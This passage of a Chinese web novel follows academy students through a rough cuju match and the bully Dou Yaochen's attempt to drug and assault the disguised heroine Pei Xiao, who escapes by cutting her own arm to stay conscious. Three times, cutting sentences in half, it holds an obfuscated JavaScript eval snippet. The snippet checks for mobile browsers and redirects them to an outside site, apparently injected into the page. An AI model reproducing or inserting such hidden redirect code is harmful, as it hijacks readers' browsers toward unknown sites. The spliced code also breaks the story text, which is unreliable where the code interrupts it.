姜飒运鞠刚刚靠近对方阵地,还在找射门或传鞠机会之时,就见对面横冲来两个人,不要命似地撞来。交汇之时,他被一人拦撞,另一人劫走了鞠。
“好凶啊,想靠撞人撞赢比试吗?”姜飒被撞得退后几步,站稳后摸着鼻子骂道。
“怕了现在认输还来得及!”窦尧臣冲了过来。
姜飒避开窦尧臣,喊道“做梦!”,随后追了上去。
·
随着窦尧臣队伍少年改换策略,加强身体冲撞,到上半场结束,二年生队已经有三个队员受伤,替补换上了两个,现在比对面少一个人,比分为四比零。
“学兄,窦尧臣他们队故意撞伤人,这难道不算犯规吗?”姜飒气呼呼找裁判少年理论。
窦尧臣看姜飒去找裁判,向他们嚣张喊道,“蹴鞠比试你争我夺,受伤不是很正常?这算什么犯规?你们要是玩不起,趁早认输!”
裁判少年连连挠头,一脸为难,他看看这边,看看那边,不知道该怎么判定。
“钟子礼,你们班的江允文是怎么样?你好好想想。”黑青眼少年走近拍了下裁判少年的肩,阴笑着说道。
那少年打了个哆嗦,沉默不语。
“江允文怎么了?”姜飒一脸莫名问道。
叫做钟子礼的裁判少年避开姜飒的目光,扬声道,“蹴鞠活动中球员拼抢争夺,容易受伤,二年生队三个队员,一个扭了脚,一个争鞠之时头不慎被磕,还有一个摔倒在地膝盖受伤,都是蹴鞠时常见的伤,看不出是五年生队故意所致。”
“呵呵”,场边上安王冷笑,“定国公家那个小子在国子学里竟也这么强横。”
“何止这些。”慕卿轻嗤了一声。
“他还做什么了?”安王追问,慕卿却不愿与他多说了,只道,“反正没什么好事。”
安王看了看他,又看向场中那窦家少年,半晌叹了句,“千里之堤,溃于蚁穴。”
·
“盯住姜飒、百里摇光还有后场那个一鞠踢很远的小子,让他们没法射门!”窦尧臣与队伍里的人说道。
下半场开始,高年生队伍继续执行冲撞加重点围攻的战术,姜飒、百里摇光、祁青阳三个擅长射门的队员被盯得死死的,再加上人数少于对方,比上半场吃力了许多。不过虽然他们没有再进鞠,对方却也没能突破百里摇光队的防守进分。
窦尧臣越来越急躁,跟身边队友低低吩咐了些什么,只见对方队伍里有几个人开始在裴逍所在的后场范围冲撞了。裴逍不得不分神躲避他们的隐蔽阴狠动作。
“裴逍,咱俩调换下位置”。百里摇光见状,换到了裴逍所在的后场,裴逍去了前中衔接的位置。
这样一来,围在百里摇光身边的对方球员更多了。裴逍离开后场,又不是对方所盯的重点关注对象,反而可以自由一些,和同样没被过多关注的夏清泽配合,出其不意地攻进了两球。
到下半场快结束时,高年生队伍仍然一鞠未进。
窦尧臣气得在队伍里左踢右踹,怒骂连连,以至于对面的夏清泽都看不下去了,说道“有没有点风度啊,还是学兄呢,比不过大大方方认输不好吗?迁怒队友算什么本事?”
窦尧臣恶狠狠地瞪了夏清泽一眼,奚落道,“凭你个闲散王爷后嗣,也来教训我?我再有风度也比不上你父王啊,一把年纪了,在勾栏里争起花娘来,连我这小辈都不让呢”。
“你——”夏清泽气怒,欲冲去窦尧臣面前,被姜飒和虞砚一边一个按住。
“他故意激你的,蹴鞠踢不过咱们,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800018|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘴上找痛快。不要与他置气,咱们快赢了。”姜飒道。
夏清泽想到比试已经快结束,对方一鞠未进,得意起来,扬声说,“比试快结束了,看看你们今天能不能突破这个零进鞠的战绩咯。”
窦尧臣脸色阴沉,周围的少年都自觉地趁着追鞠攻防的功夫躲远开。
·
比试计时的线香已快燃尽,此时场上比分六比零。
夏清泽拿到了鞠,运鞠向对方阵地冲锋。
突然一道光晃了裴逍眼睛一下,短暂的失明后,她看到窦尧臣用一把自袖中漏出半截的匕首,正打算刺向准备射门的夏清泽的后腰。
裴逍跟在夏清泽右侧稍后,身边也没有其他东西可以借用,瞬息之间,只得冲去撞开窦尧臣。那匕首离夏清泽只有寸余的距离,被生生撞开。窦尧臣更加气急败坏欲拿匕首攻击撞开他的人。
好在裴逍在撞开他的时候,就快速反应,按住了窦尧臣藏匕首的手腕,这才没被他得逞。但在和窦尧臣碰撞挣扎间,手心难免还是被匕首划了几下。
夏清泽没有被窦尧臣暗箭中伤,成功进鞠。
在这鞠球顺利穿过风流眼的瞬间,裁判少年钟子礼喊了,“比试时间到,二年生对战五年生,七比零,二年生队伍胜”。
围观少年们纷纷叫好,二年生队伍欢呼雀跃。
百里摇光下意识地在队伍里搜寻,扫了一圈没找见裴逍,又仔细一看,才发现裴逍趴在地上,在他身下,倒着一个人。
他迅速跑近,才看出是裴逍将身形大一圈的窦尧臣按在了地上,而裴逍按着窦尧臣的手下,赫然有一把匕首。
百里摇光矮下身,一手按住窦尧臣胸膛,另一手制住其握着匕首的手臂,裴逍这才松了手,缓缓站起。其他人也发现了这里的情况,围了过来。
“同窗比试切磋,你竟然带武器伤人!”百里摇光按着窦尧臣,大声呵斥道。
“我没有!这匕首是我随身带着的,刚那小子突然撞我,才导致匕首滑出来的。”窦尧臣想着百里摇光应该不敢对他怎么样,索性不挣扎了,大喇喇地躺着,狡辩道。
“我看到你在夏清泽射门之时,拿匕首要刺他才撞开你的。”裴逍当即戳穿窦尧臣。
她看了眼右手的伤,划了三道口子,还好伤口比较浅,无大碍。她正要将手收起来,却被祁青阳看到,拉住手臂翻过来查看。姜飒也不知道从哪挤了过来,神色担忧地看着。
众人听见裴逍所说,皆非常震惊,都没想到这院内学子间的比试切磋竟用上了这样阴毒的手段。
夏清泽听到他的名字,推开人站到了前面,看了看躺在地上死不承认的窦尧臣,又看了看被祁青阳抓起来的裴逍那只在渗血的手,神色复杂,似对于裴逍会出手帮他感到非常意外,甚至都忘记找窦尧臣兴师问罪了。
“瞎说!我只是要撞开夏清泽拦球,是你突然发疯来撞我,才导致我匕首滑出来的。你说是我故意刺人,那试问,还有谁看见我拿匕首刺人了?”窦尧臣有恃无恐。他当时偷袭那角度,确实挺隐秘,球员在场上跑动速度极快,裴逍也是恰好那个角度才能看到,其他人却未必能看到了。况且就算有人看到了,也未必敢说出来。
果然,没有人应声。
夏慕卿从场边走过来,看了眼裴逍的伤口,转头没好气地问窦尧臣,“那你蹴个鞠,带着匕首做什么?”
窦尧臣早想好了借口,“我说过了这匕首是我贴身带的,一直带在身上防身的,又不是专门为了比试带来的。”
“就是就是。世子天天带着的,我们可以作证。”窦尧臣的跟班纨绔们纷纷附和。
裴逍见没有其他人证,现下各执一词,也没什么结果,就在百里摇光肩上轻拍了一下,说“算了”。
百里摇光一回头,见裴逍拍自己肩那一下,有血迹沾到了他的衣裳上,突然一股冲动一拳向着窦尧臣的脑袋砸去。
“别!”裴逍惊呼。
31. 第31章
众人看到也是一惊,百里摇光这一拳出拳迅猛,本身就武艺非凡,还从过军,这一拳下去,窦尧臣怕是要伤得不轻。
窦尧臣看到突然放大的拳,吓得闭上了眼。直到拳带来的疾风扑面,半晌没感觉到痛楚,他睁开眼,见那拳停在了他眼前,才惊得大叫起来,甚至感觉到了下半身似有液体要溢出。
“再有下次,这拳必落你身上!”百里摇光收了拳,起身警告道。
百里摇光这一拳,让姜飒也长出了口恶气。他指着窦尧臣喝道,“再使这种阴毒下作手段,也是手下败将。愿赌服输,京中书院蹴鞠比试,你们就别去给国子学丢人了!”
几个高年生纨绔迅速围住窦尧臣嘘寒问暖,其他学子纷纷散开。
百里摇光走到裴逍身边说,“回去吧,我给你上药”。
“你上什么药,去医舍找祝医师啊,难道你医术比大夫还高明?”姜飒凑过来冲着百里摇光说。
百里摇光愣了一下。裴逍忙说,“小伤,回去涂点药就好了,没必要麻烦祝医师。”
谁知百里摇光却又说,“去医舍吧”。
几人朝医舍走去。
在他们背后,窦尧臣被人从地上扶起来,盯着裴逍的背影,阴沉说道,“我记住你了!”
·
医舍里,正对着一个方子抓药的兰惜,看到五个少年突然一起造访,还以为出什么大事了。当得知只有之前帮过她,现被围在中间的那个少年受伤,她先是松了个口气,又蓦地一紧,“公子哪里受伤了?”
裴逍见兰惜神色担忧,忙道,“莫急,只是一点小伤,”,说着翻出手心来给兰惜看。
兰惜见裴逍的伤不重,这才放下心,徐徐道,“祝大夫今日外出了,不过公子手上的伤,我可以帮公子医治的。公子可放心让我来为你医治?”
“自是放心,多谢兰惜姑娘了。”
兰惜帮裴逍清理伤口上药,因着裴逍、百里摇光、姜飒三人此前都算认识,便攀谈起来。
“裴公子是被定国公世子所伤?!”兰惜猛地抬头,眼神中一抹寒光闪过。她正给裴逍处理手上的伤口,不由得下手重了些许。
“嘶——”裴逍一时没忍住痛,轻轻发出了一声。
兰惜忙道,“对不住,裴公子,我轻点。”
姜飒凑近看了看裴逍的伤口,见裴逍没事,怒骂道,“可不是,那混蛋跟我们比试蹴鞠,赢不了竟然使手段暗箭伤人。”
“竟有此事!”兰惜一边低着头给裴逍处理伤口,一边回应道。她似乎是更习惯用左手,无论是托举还是上药,都是左手使得多。
裴逍看着她的动作,心想兰惜嘴上虽不敢言,但心里想必对窦尧臣很是痛恨。因为裴逍感觉到在提及窦尧臣后,兰惜帮她处理伤口时,下手似乎都重了些许。
“诶?阿逍,你手臂上的这个胎记形状倒是别致,像是一只燕子。”姜飒突然说道,引得其他几人都凑过来看。
裴逍担心被其他人看出什么,因此只“嗯”了一声,待众人扫了一眼,便将衣袖往下拉了一拉。
·
三月初五,国子学蹴鞠队选拔开始报名,一早报名通知就被张贴在了告示栏上。
“不限学生年龄、不限门第,喜蹴鞠,想为校争光者皆可报名参加。选拔比试定于十三日到十五日联社活动时间进行。”姜飒几人说笑着要参加,都未注意到,人群边缘,窦尧臣一脸阴狠地注视着他们。
·
三月初九旬考结束后,姜飒、夏慕卿归家去了,百里摇光、祁青阳和裴逍未归家,各自练功的练功,看书的看书,便都散开了。
裴逍从校场出来,沿着两侧高墙当中的甬道,往典籍楼方向走。这时学子们纷纷归家了,书院内逐渐安静下来,天色也渐渐暗了。
裴逍突然听到身后有脚步声,心想可能是留院不归家的学子,未多想,继续往前走了十几步。这时,前面路口突然拐出来几个人,而当中一人正是窦尧臣。
裴逍心想多一事不如少一事,索性避开他,便转回身往来的方向走。
不料她刚一转身,身后便传来了窦尧臣挑衅的声音。
“裴公子这是要去哪啊?”
裴逍本打算不理会他直接走开,没想到往前走了几步,之前走在她身后的几个人,突然围过来挡住了她的去路。
这几个人没穿学子的青衿服,作家丁打扮。
裴逍微眯眼,退开几步,站到了两拨人中间。
“窦世子这是要做什么?”裴逍看向窦尧臣问道。
“当然是要请裴公子到府上好好聊聊了。你三番五次坏我计划,打断我的好事,我不得好好报答一番。”窦尧臣眼神猥琐地上下打量裴逍。那个黑青眼的高瘦少年,蹴鞠时曾见过的,此时也在他身边。那人更是一脸阴鸷,不怀好意地冷笑起来。
“怎么报答?”裴逍盯着眼前几人,冷冷开口道。
“自然是一件一件剥掉你的衣裳,好好疼爱一番——”
裴逍杏眸大睁,蹙起了眉,心想这纨绔难道知道了她的女子身份?
“窦世子怕是搞错了。”她出声打断那人的污言秽语,“我乃堂堂男儿,你虽然形容猥琐,行事阴毒,但也是个男的,你知不知道自己在说什么?!”
窦尧臣听到裴逍骂他,先是欲回骂,不知怎地,又突然笑了起来,“男儿自有男儿的滋味,尤其是像你这种看起来风光霁月,还学识渊博的小郎君,我最喜欢了。”
裴逍眉头蹙得越来越紧,背在身后的一只手握了起来。虽然窦尧臣好像并不知晓她的身份,但是看来也不会轻易放过她。
窦尧臣抖动着又密又乱的眉毛,浑浊的眼中闪着精光,接着道,“征服魁首的感觉那可是不一般。两年前,小爷曾体会过一番。此后做魁首的都是些世家子弟,不好下手。像林致远那小子,若不是林相之子,我自是不会放过。这好不容易来了个你,占了林致远的第一,还三番五次触我霉头,阻我好事,我能放过你吗?”
两年前,不是世家子弟的魁首,难道是指祁彦辰?裴逍忍住心里强烈欲呕的不适,盯着窦尧臣问道,“你对祁彦辰做了什么?”
“呵呵,我对他做过什么,你很快就会知道了。”窦尧臣狞笑了几声,向后面人做了个手势。“把她抓起来!”
他身后的人便包围上来欲抓裴逍。
有了之前与裴逍交手的经验,这次窦尧臣派来的家丁,身手比之前好了许多。不过对付这些人,裴逍还是手到擒来的。
就在人被裴逍收拾得差不多的时候,那高瘦黑青眼少年突然趁裴逍不注意扔了一个手帕过来。
裴逍下意识一把挡开甩掉,在那手帕被挡开的瞬间,有粉尘自其中飘落。
裴逍顿觉不妙,急急捂住口鼻退开,往来时方向跑。
而在她身后,窦尧臣等人也紧紧追了上来。
那粉尘中有迷药,裴逍虽然挡开了些许,但到底还是中了,她跑的速度逐渐减慢。
不过时,裴逍突然看到祁青阳在前面不远处,因为担心祁青阳被连累为难,她急喊道,“快走!”
祁青阳愣了一下,见裴逍身后气势汹汹追着一群人,犹豫了片刻,反而迎着裴逍跑来。
他跑到裴逍身边未停,还冲去想要拦住那些人。
“这是堂堂国子监,谁给你们的胆子在此造次?”祁青阳大声斥责道。
窦尧臣一行似没想到有人胆子这么大,这种场面还跑来讨打,竟被小阻了一下。不过窦尧臣很快就反应过来,喊道,“把他也给我抓起来。”
裴逍早就停住,转回身。
她见祁青阳笨拙地与那些家丁厮打,知道祁青阳挡不了多久,他不会拳脚功夫,纵是有些力气,此时被围攻上来,也没什么可发挥的。只是裴逍担心,如果窦尧臣所说为真,祁青阳被抓住的处境,也不会比她好什么。
药物已经开始作用,裴逍现在神志有些涣散,想东西都慢了。
她狠了狠心,扯下腰间玉佩一把甩在了地上。那玉佩摔成了三块,好在边缘够锋利。
趁那些人暂时被祁青阳绊住,裴逍将其中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800019|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两块速速放进怀里,一块藏在手中。
没一会的功夫,祁青阳便被窦家家丁制住。
“跑啊,怎么不跑了?”窦尧臣见家丁押住祁青阳,冲着裴逍悠悠开口道。
“我有句话想与你说。”裴逍道。
“哦?什么话?”
“你过来,我只与你一人说。”
窦尧臣还有些害怕,不太敢靠近裴逍,只向前略走了几步。
裴逍突然看向他身后喊了声,“百里摇光”。
窦尧臣下意识回头去看,没看到百里摇光,甚至根本没有人往这里来。他一回神,便感觉到脖子上抵了一块硬物。
“我数三下,放那学子过来!不然你们的窦世子危矣!”裴逍将碎玉抵着窦尧臣的脖子,对着后面的纨绔和家丁们扬声威胁道。
“放开他!放开他!”窦尧臣大声喊道。虽然他觉得裴逍不敢真的杀他,但是他惜命的很,丝毫不敢冒险。
家丁们听命松开对祁青阳的钳制,祁青阳走了过来。
“你先走,我有办法脱身。”裴逍飞速看了他一眼,仍旧警惕地盯着对面。
祁青阳担忧地看着裴逍,没有挪步。
“走!”裴逍侧头冲他喊了一声。
祁青阳一咬牙飞快跑了。
·
窦尧臣见裴逍暂时没伤害他,试探着给家丁下令,“还愣着做什么,快来抓了这小子——啊”。裴逍在窦尧臣脖子上轻划了一道。
“啊,别过来,别过来!”窦尧臣冲着家丁大吼。他的脖颈上有血珠渗了出来,家丁看到,也不敢再轻举妄动。
“后退五十步!”裴逍喊道。
“退退退!”窦尧臣也被吓到了,如果是其他世家子弟,考虑到家族中人,可能还不敢对他怎么样。但这个裴逍,布衣一个,他不知道惹急了裴逍,会不会真的杀了他。
裴逍挟制着窦尧臣,拐过一个路口,向书院中明志湖方向移动。湖中心有座石板桥,桥两侧无围栏,桥下便是深不见底的湖水。裴逍勒令窦尧臣,面朝湖水,坐在桥面上,两腿伸出桥外,悬在空中。
这湖是淹死过人的。窦鑫磊两股战战。他虽然会水,但这湖水下的情况不知,不若当时曲江池中,池水清澈,自己又是游过心里有数的,更何况裴逍还抵着他的咽喉,若是划他一刀,再给丢下去,他就不知道自己还能不能上来了。此时,他开始后悔,自己为何非要跟这个不知死活的小子对上了。
裴逍在窦尧臣旁边坐下,手仍使劲抵着窦尧臣的脖子。
力气渐渐在流失,神志也在散开,她担心力气变小制不住窦尧臣,干脆左手从后面往前环住窦尧臣的脖子,右手仍旧持碎玉威胁他。
每当感觉自己快要昏过去的时候,她就在自己的左臂上划一下,用疼痛刺激自己保持清醒。间或划窦尧臣一道,一则是威胁对方,另一方面是混淆视听,以免窦尧臣很快发现她自己中迷药已深。
这里是她的最后阵地,也可能是最后归宿。
如果没有转机,等到气力散尽的时候,她便打算与这窦尧臣同归于尽。
但她心里还隐隐抱有一丝希望。若祁青阳去找了百里摇光,若来得及,或许她还有机会去做自己想做该做的事。
虽然她不愿意承认,但百里摇光确实是现在国子监里唯一有可能救自己的人了。
·
裴逍头猛得向前一栽,唤回了几分清醒,又一次意识快要消散了,不知道还会不会有再次清醒的时候。
裴逍苦笑了一声,握紧那碎玉,准备走向最后的宿命。
窦尧臣正因为裴逍方才那一栽,心里怀疑裴逍已深中迷药,想要伺机脱身。这时见裴逍紧盯着自己的脖颈,那硬物也越来越近,他意识到裴逍是要对自己下手,爆发出了前所未有的求生意志,抬起双手握住那硬物,拼命挣扎起来。
裴逍也使出了最后的力气,握着碎玉划向窦尧臣喉间,誓要带着这蠹虫一起下地狱。
就在两人生死搏斗,即将要双双掉下石桥之际,一个少年跃上了桥面。
32. 第32章
他一手扯开那窦尧臣,扔上桥头;一手拉住裴逍的胳膊,带上了桥面。
“你怎么样?”少年好看的桃花眼中盛满担忧。
裴逍牵起嘴角,失去了意识。
湖边,一个少年隐回了树丛之中。他看着桥上,百里摇光将裴逍背了起来,走去那窦尧臣面前,一拳砸在了窦尧臣的脸上,而后无视窦尧臣的惨叫和那些纨绔家丁的反应,径直走了。
他方才松了口气,旋即又苦笑着摇了摇头。
·
裴逍醒来的时候,鼻子里充斥着药草味,睁开眼便看到了兰惜。
这是在医舍?她突然警惕起来,兰惜会不会已经发现了她是女子?此前兰惜帮她包扎伤口,并没有诊脉,这次如果兰惜已经为她号过脉......
“裴公子放心,我不会说出去的。”兰惜见裴逍醒过来,笑了笑轻声说道。
裴逍猛地坐起身,眼前一黑,她赶紧伸手扶住床架。兰惜也起身扶住了裴逍。
“百里公子在外面,我将他支去熬药了。祁公子也来看过,见你无大碍,便回去了。”兰惜看出裴逍担忧,说道。
裴逍见没有其他人知道她的身份,略微宽了宽心,她靠近兰惜,低声道,“多谢兰惜姑娘,只是我的身份所系,关乎我身家性命,还请帮我保守秘密。姑娘日后若需要帮助,裴某必当竭尽全力。”
“裴公子不必如此客气,同为女子,我自是能体会女子处世之难。你放心,我会保守这秘密的。”兰惜轻声回应道,她面纱上方露出的双眼,清澈明亮,一派郑重真诚,让裴逍不由地愿意相信她。
兰惜开门出去看药有没有煎好。
裴逍低下头,见自己左手小臂已经被棉布包了起来,看不到伤口。她记得自己之前为了保持清醒,划了至少有五下。
“你对自己是真的狠!”百里摇光端着碗走了进来,一股浓浓的药味随着他的动作扑面而来。
他此前背着裴逍来医舍,在路上,见裴逍垂在他脸侧的手滚出血来,便发现了裴逍手臂上的伤口。以裴逍的身手,那几个家丁纨绔应该做不到在她手臂上留下那些伤,他感到疑惑,直到来医舍听兰惜说,裴逍中了迷药,他才明白那些伤口是裴逍怕自己昏迷故意划的。裴逍在如此境遇下的智谋和心性,让他欣赏。但同时,百里摇光心里也有些不畅快。
他没好气地说,“你为何不想办法找我?宁肯一个人与那混蛋玉石俱焚,都不愿意求助,你是太不把自己的命当回事,还是不把我当朋友?”
裴逍轻蹙了眉头,“你是自己找来的?”
“不然呢?你有找人给我报信吗?”百里摇光问。
裴逍心里沉了沉。
百里摇光见裴逍神色不好,想着他又受了伤,也没再说什么重话,解释道,“我三嫂派人从府里给送了吃食,我想着叫你和青阳一起。眼见天色晚了,你们却迟迟未归,我便想着去找找你们。这才在湖边碰上你。若我晚一步来...”百里摇光不自觉地又生出了些气,但还是刻意控制了下自己,声音低下来,嘀咕道,“我三嫂送的吃食只能烧给你吃了。”
裴逍刚刚想到祁青阳没有给百里摇光报信,也有可能是因为没找到百里摇光,心里稍微开解了些,又听闻百里摇光这么说,忍不住弯了嘴角。
“你还笑?”百里摇光走近几步,碗里的药晃动得洒出了一些,他手忙脚乱端好,递到了裴逍面前,“先喝药”。
裴逍伸出手接碗。
百里摇光见他一只手的手臂刚刚受了伤,另一只手的手掌也缠了棉布,笑了一声,道,“我来喂你吧”。
“不必,小伤而已。”裴逍说着便用左手接过碗,不顾左手臂颤抖,仰头一饮而尽,然后蹙眉眯眼把碗递还给百里摇光。
百里摇光接过碗,嘲笑道,“看你喝得那么豪迈,还以为你不怕苦呢?”
裴逍苦着脸没有说话。
“药也喝完了,你跟我说说,当时怎么回事?窦尧臣下了迷药,是要将你抓走吗?”百里摇光问道。
“嗯”裴逍应了一声。
“他抓走你做什么?想打你,在国子监也能动手啊。”
裴逍想了半天措辞,才道,“他欲玷污我。”
“啊?”百里摇光愣在原地,嘴巴大张,似乎还没太明白裴逍这话的意思。
“窦尧臣欲玷污裴公子?!”兰惜突然进了屋,大声问道。她似乎很气愤,身体都有些微微发抖。
裴逍没想到兰惜会这么关心她,可能是同为女子,而且她又帮过兰惜的缘故吧。
她赶忙安抚道,“兰惜姑娘别担心,他没得逞,反而还被我教训了一番。”
兰惜却并没有因为裴逍的话而减少忧色,反而说道,“窦尧臣那人怕是不会轻易善罢甘休,裴公子,你需得非常小心,实在不行,离开书院回乡吧。”
“离开书院?”百里摇光开口道,“没到那个地步吧。还有我在呢,我不会放任那混蛋欺负裴逍的。”
裴逍当然不可能离开国子学,她还有必须要在这里才能做的事。她看着兰惜,点了点头,郑重道,“我会小心的。”
裴逍和百里摇光回到斋舍院子,见对面斋舍里,祁青阳抱着本书坐在几案前看着。
“青阳你厉害啊,书倒着也能读。”百里摇光一脸新奇好笑。
“咳”祁青阳尴尬地笑了笑,将书转过来,看着裴逍手臂问道,“伤怎么样了?”
“小伤,无妨。”裴逍本想问问祁青阳之前是不是有去找百里摇光报信,但她隐约感觉祁青阳的神情不似以往,便先按下了。
·
夜里,月色被浓云遮蔽地密密实实,黑暗中裴逍想着窦尧臣的事情,摸着自己的三块碎玉,久久不能入睡。那三块碎玉,已经清洗干净,在暗夜中润泽莹白。
“窦尧臣背后的窦家家大势大,非你一人可以抗衡。有情况你一定要跟我说!”百里摇光的声音突然从那侧传过来。
半晌,裴逍才低低回了声,“嗯”。
窦尧臣所在的窦家,是皇后的亲族。窦尧臣是皇后之弟,尊贵的国舅爷,其祖父更是世代驻守西南的定国公,是先帝给当今圣上选定的托孤重臣之一。窦家现在朝中党羽众多,有钱有权有势,与夏清泽和夏慕卿他们的父王不同,他们因为先帝遗命只能做闲散王爷,无兵权,远政务,并无实权。
这也是窦尧臣在蹴鞠赛时敢对夏清泽做手脚的原因之一。要让窦尧臣真正付出代价,其家族便是最大的阻力,有他们在,怕是窦除非犯了谋逆、叛国大罪,否则最后都会被摆平。想到这,裴逍冷嗤了一声。
不过,千日防贼,总不是办法。她现在已经被窦尧臣盯上,虽然与她交好的百里摇光、姜飒的家世也是让窦尧臣忌惮的,但这并不是长久之策,而且她也不想把希望寄托在其他人身上。像窦尧臣这样的膏粱子弟,只怕坏事恶事没少做,未必不会成为其家族败落的一个引子。
她想起来今日窦尧臣提到的一个名字,祁彦辰,按其所说,祁彦辰极有可能曾被窦尧臣侮辱。祁彦辰最后是自焚而亡,他的死会不会与窦尧臣有关系?
裴逍隐约觉得这可能是一个突破口。
·
次日,裴逍沿着国子监的小路向北,走到了先生们住的斋舍区,依次查看门上号牌,终于找到了阮先生的斋舍,里面亮着灯。她想如果贸然找五年生打听祁彦辰的事情,毫无头绪不说,还可能打草惊蛇,不如找当时教过祁彦辰的先生们去问问。
裴逍轻扣了下门,“阮先生在吗?”
里面传来温润的男声,“进来吧。”
裴逍推
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800020|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门进去,阮先生坐在案前,手持着笔,案上书籍摆了许多。
裴逍行了一礼。
“裴逍?有什么事吗?”阮先生说着起身,走到两侧有椅的高几旁坐下,示意裴逍坐到对面。
“先生,我听同窗们说,国子学之前有位寒门学兄,叫作祁彦辰,博学多才,但是最后却突然离奇去世,我想了解下这个人。”
“祁彦辰。”阮先生重复了下这个名字,看着裴逍缓缓道,“没错,是有这么一位学子,只是你为何想要打听他的消息?”
“我读过祁彦辰的文章,总觉得他不像是会轻易放弃性命的人,而且还用了自焚这么激烈痛苦的方式,这件事或许另有隐情,我想查一查。”
“你可是遇到了什么麻烦?”阮先生身形倾近,急切问道,语气中难掩担忧。
裴逍一时有些怔忪,阮先生似乎是在担心她,为什么?
阮先生见裴逍一时愣住,意识到自己可能有些失态,轻咳了一声。他站起身,取了茶壶,给裴逍筛了一杯茶,缓缓道,“夏清泽几个人,后来还有再找你麻烦吗?”
“多谢先生关心,没有了,现在相安无事。其他麻烦也没有,只是祁彦辰的事情确实让我很好奇。”
“这样啊。你若是问其他人,我可能还未必记得多少,但是祁彦辰可以说是我这几年来,见过最有天赋和才情的一个学生,所以对他印象还比较深。他读书专注认真,虽当时在国子学才读到第三年,但是十三经已经都通读过了。”
“确实是罕见之才。”裴逍应道,“先生,那祁彦辰与其他先生学子的关系如何?”
“他性情温和,待人彬彬有礼,先生们对他评价都很好,在学生中间应该也是不错的,他的德行分数都很高,没听说跟谁有过矛盾。”
“如此,那他的死就更离奇了。”
“嗯,当时他的事情出来,我们都很惋惜,也觉得很意外。但是京尹府查了以后,定论确实是自戕,也没有任何证据显示是有人害了他,所以这件事,也就不了了之。而他到底是因为什么突然自戕,也就没人知道,成了一个不解之谜。”
两人陷入沉默,半晌,阮先生道,“对了,他和同窗学子祝徵的关系比较好,你可以找他问一问,或许能有些线索。”
“嗯,多谢先生相告。”裴逍起身,正欲告退。
阮先生道,“你先等等”,说着他走到案前,拿了册书卷递给裴逍,“你看看。”
裴逍接过,书卷上的笔迹她一眼认出,是谢太傅的笔迹。她粗粗翻阅了一下,内容是对春秋经的注释解读。
“先生,这可是之前谢太傅的手书?”
“正是,这是先师生前在撰写的《十三经章句集注》一书,可惜尚未著完,就......”
裴逍惊了一下,忙问,“谢太傅是您的老师?”
“没错,先师任国子监祭酒时,曾为我们授课,我和另外两位好友更是经常找先师请教学问,几乎成了关门弟子。”
裴逍突然想到清明那日在谢太傅墓旁大石头后,听到的那个声音像阮先生的人,会不会就是阮先生?
“原来是这样。只是先生您给我看谢太傅的手书,是有什么吩咐吗?”
“吩咐不敢,是想邀你帮我一起整理补订谢太傅的著作,你可愿意?”
裴逍心中一喜,“我可以吗?”
阮柏聿笑着道,“当然可以。”说着,他又拿了一本卷册,“这是我在补充整理的集注,你可以回去也先看一看熟悉一下。”
“多谢先生给我这个机会,学生定当用心钻研。”裴逍端正又行一礼。
“好,时辰不早了,回去歇息吧。”
阮柏聿看着那少年带上门出去,良久,轻叹了声,“老师如果泉下有知,应该会欣慰吧。”
33. 第33章
裴逍拿着两本书卷回去,见阮先生整理的书卷上字迹熟悉,便找出之前她根据谢太傅文集中夹带纸笺临摹的字条来一对,发现笔迹完全一致,而那纸笺上的字迹与她在谢太傅墓前看到的未烧尽的残卷上字迹一样。也就是说,清明时,她在石头后面听到的祭拜谢太傅的两人中,其中一位就是阮先生。
她突然想起什么,放下书卷,出了国子监。
·
大雁塔下,裴逍看着塔壁上那三行墨迹,心道,果然是阮先生所写。那清明时,阮先生与另一人所说的“熙之”,应该就是裴晔的字。
晔,光也。熙,亦有光明之义。
裴逍记得当时另一人说熙之爱喝杏花酒。父亲也爱喝。
裴晔是越州会稽人,此前寨中人皆说父亲口音及习性是江南之人。
裴晔在天福十五年失踪,父亲是在天福十五年上的难凉寨。
父亲写过念过的诗文出现在裴晔的诗作中。
父亲熟悉谢太傅的笔迹,熟悉谢太傅的事迹。
父亲以裴秀为名的户籍文书是在她入县学读书之时才托关系办的。
这么多的巧合,让裴逍几乎可以确定,父亲就是裴晔。
只是究竟经历了什么,才让父亲放弃了几乎已经到手的功名,突然离开长安去了北境小城?
这其中缘由,恐怕只有当年认识父亲的人有可能知道了。
但是涉及到父亲的身份,又必然会联系到难凉寨。裴逍轻叹了口气,心想,只有等难凉寨的事情平息,才能慢慢寻找父亲身份的秘密了。
·
